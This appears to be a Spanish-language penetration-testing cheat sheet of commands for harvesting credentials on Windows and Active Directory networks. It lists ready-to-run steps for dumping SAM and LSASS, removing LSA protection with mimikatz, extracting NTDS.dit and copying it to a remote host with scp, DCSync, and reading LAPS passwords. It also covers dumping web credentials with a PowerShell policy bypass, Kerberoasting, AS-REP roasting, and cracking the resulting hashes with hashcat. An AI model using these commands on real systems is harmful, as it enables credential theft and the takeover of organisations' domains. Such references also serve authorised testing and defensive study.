🔑Recolección de Credenciales

Diferentes técnicas con las que obtener credenciales en una red Windows

Archivos en Texto Plano

Comprobar el historial de comandos de PowerShell
type %APPDATA%\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt
Buscar por Palabra Clave en el Registro de Windows
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

Extraer Credenciales del SAM

Técnicas para obtener credenciales de cuentas de usuario local

Metasploit Hashdump

En el caso de tener una meterpreter en la máquina comprometida
meterpreter > hashdump

Volume Shadow Copy Service

Copia del disco con wmic
wmic shadowcopy call create Volume='C:\\'
Verificar copia existosa
vssadmin list shadows
Copiar SAM y SYSTEM desde la copia del volumen
copy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\windows\\system32\\config\\sam C:\\users\\Administrator\\Desktop\\sam
copy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\windows\\system32\\config\\system C:\\users\\Administrator\\Desktop\\system
Hash dump con secredump.py en máquina local
python3 /opt/impacket/examples/secretsdump.py -sam <sam> -system <system> LOCAL

Registry Hives

Guardar copia de SAM y SYSTEM desde el Registro de Windows
reg save HKLM\\sam C:\\users\\Administrator\\Desktop\\sam-reg
reg save HKLM\\system C:\\users\\Administrator\\Desktop\\system-reg
Hash dump con secredump.py en máquina local
python3.9 /opt/impacket/examples/secretsdump.py -sam /tmp/sam-reg -system /tmp/system-reg LOCAL

Extraer Credenciales del LSASS

Técnicas para volcar las credenciales del sistema mediante el proceso lsass.exe

Sysinternals Suite

Volcar proceso lsass
procdump.exe -accepteula -ma lsass.exe <dir-location>

Protected LSASS

Desactivar protección LSA con mimikatz
mimikatz.exe
sekurlsa::logonpasswords
# ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005) - (Protección LSA)
!+
!processprotect /process:lsass.exe /remove
privilege::debug
sekurlsa::logonpasswords
Extraer credenciales desde la memoria
mimikatz.exe
privilege::debug
sekurlsa::logonpasswords

Windows Credential Manager

Técnicas para volcar las credenciales almacenadas del sistema

Acceder al WCM

Enumerar credenciales almacenadas
vaultcmd /list
Comprobar si hay contraseñas en caja específica
vaultcmd /listproperties:"<vault-name>"
Enumerar detalles de credenciales en caja específica
vaultcmd /listcreds:"<vault-name>"

Volcar Credenciales Web con PowerShell

Ejecutar PowerShell con policy bypass
powershell -ex bypass
Importar módulo
Import-Module Get-WebCredentials.ps1
Volcar credenciales web almacenadas
Get-WebCredentials

RunAs

Enumerar credenciales almacenadas
cmdkey /list
Ejecutar consola de comandos utilizando credenciales almacenadas
runas /savecreds /user:<username> cmd.exe

Mimikatz

Volcar credenciales almacenadas desde la memoria
mimikatz.exe
privilege::debug
sekurlsa::credman

Hashes del Domain Controller

Técnicas para volcar los hashes del Domain Controller de manera local y remota.

Volcado Local (Sin Credenciales)

En caso de no tener credenciales válidas pero sí acceso administrativo al DC.

  • Archivos necesarios:

    • C:\Windows\NTDS\ntds.dit

    • C:\Windows\System32\config\SYSTEM

    • C:\Windows\System32\config\SECURITY

Volcar la db NTDS con ntdsutil en PowerShell
powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\\temp' q q"
Transferir todo a máquina local
scp -r * <username>@<ip-a>:/tmp/.
Hash dump con secretsdump.py
python3.9 /opt/impacket/examples/secretsdump.py -security <SECURITY> -system <SYSTEM> -ntds <ntds.dit> local

Volcado Remoto (Con Credenciales)

Técnica para volcar los hashes del sistema y del DC de manera remota con credenciales válidas

Ataque DC Sync

  • Permisos Necesarios:

    • Replicating Directory Changes

    • Replicating Directory Changes All

    • Replicating Directory Changes in Filtered Set

Ataque DC Sync con secretsdump.py
python3.9 /opt/impacket/examples/secretsdump.py -just-dc/-just-dc-ntlm <domain>/<AD_Admin_User>@<ip>
Hash cracking
hashcat -m 1000 -a 0 <ntlm-hash> <wordlist>

Extraer Credenciales del LAPS

Técnica para enumerar y obtener credenciales de un administrador local de un entorno AD si está configurada y habilitada la función LAPS.

Enumerar función LAPS

Comprobar instalación del LAPS
dir "C:\\Program Files\\LAPS\\CSE"
# Look for AdmPwd.dll
Comprobar cmdlets disponibles
Get-Command *AdmPwd*
Enumerar grupo con permisos de acceso al LAPS
Find-AdmPwdExtendedRights -Identity *
Find-AdmPwdExtendedRights -Identity <OU>
Enumerar usuarios miembros de grupo objetivo
net groups "<group>"
Cambiar a usuario objetivo (Necesita credenciales)
runas /user:<username> cmd.exe

Obtener Credenciales

Extracción de credenciales del Local Admin
Get-AdmPwdPassword -ComputerName <computer-name>

Otros Ataques

Ataques extra sobre un entorno AD para obtener credenciales

Kerberoasting

Enumeración

Enumerar cuentas con acceso al SPN
python3 /opt/impacket/examples/GetUserSPNs.py -dc-ip <ip> <domain-name>/<username>:<pass>
Solicitar un ticket Kerberos
python3 /opt/impacket/examples/GetUserSPNs.py -dc-ip <ip> <domain-name>/<username>:<pass> -request-user <SPN-username>

Explotación

Hash cracking
hashcat -a 0 -m 13100 <hash> /usr/share/wordlist/rockyou.txt

AS-REP Roasting

  • Necesita enumeración previa de usuarios válidos

Ataque AS-REP Roasting con impacket
python3.9 /opt/impacket/examples/GetNPUsers.py -dc-ip <ip> <domain-name>/ -usersfile users.txt

Última actualización